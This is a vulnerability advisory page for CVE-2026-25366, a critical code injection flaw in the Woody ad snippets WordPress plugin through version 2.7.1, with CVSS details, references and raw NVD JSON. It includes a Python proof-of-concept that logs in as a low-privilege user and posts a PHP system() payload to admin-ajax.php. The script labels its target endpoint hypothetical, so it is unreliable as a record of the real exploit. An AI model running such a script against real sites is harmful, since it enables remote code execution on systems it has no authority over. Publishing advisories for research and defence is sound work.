CVE-2026-25366

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Themeisle Woody ad snippets insert-php allows Code Injection.This issue affects Woody ad snippets: from n/a through <= 2.7.1.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Woody ad snippets <= 2.7.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target_url = "http://target-site.com/wp-admin/admin-ajax.php"

# Attacker credentials (Low privilege)
username = "attacker"
password = "password"

# Payload to execute shell command (e.g., id)
# Assuming the vulnerable parameter handles PHP code
payload = '<?php system("id"); ?>'

# Login to get session cookie
session = requests.Session()
login_data = {
    'log': username,
    'pwd': password,
    'redirect_to': '/wp-admin',
    'wp-submit': 'Log In'
}

print("[+] Logging in...")
session.post(f"{target_url.replace('/admin-ajax.php', '')}/wp-login.php", data=login_data)

# Send exploit request (Hypothetical endpoint based on vulnerability type)
exploit_data = {
    'action': 'woody_save_snippet', 
    'code': payload
}

print("[+] Sending payload...")
response = session.post(target_url, data=exploit_data)

if response.status_code == 200:
    print("[+] Payload sent successfully.")
else:
    print("[-] Failed to send payload.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25366
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25366
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25366/
[4] VulDB https://vuldb.com/cve/CVE-2026-25366
[5] https://patchstack.com/database/Wordpress/Plugin/insert-php/vulnerability/wordpress-woody-ad-snippets-plugin-2-7-1-remote-code-execution-rce-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25366", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:47.560", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Themeisle Woody ad snippets insert-php allows Code Injection.This issue affects Woody ad snippets: from n/a through <= 2.7.1."}, {"lang": "es", "value": "Vulnerabilidad de Control Inadecuado de la Generación de Código ('Inyección de Código') en Themeisle Woody ad snippets insert-PHP permite la Inyección de Código. Este problema afecta a Woody ad snippets: desde n/a hasta <= 2.7.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/insert-php/vulnerability/wordpress-woody-ad-snippets-plugin-2-7-1-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}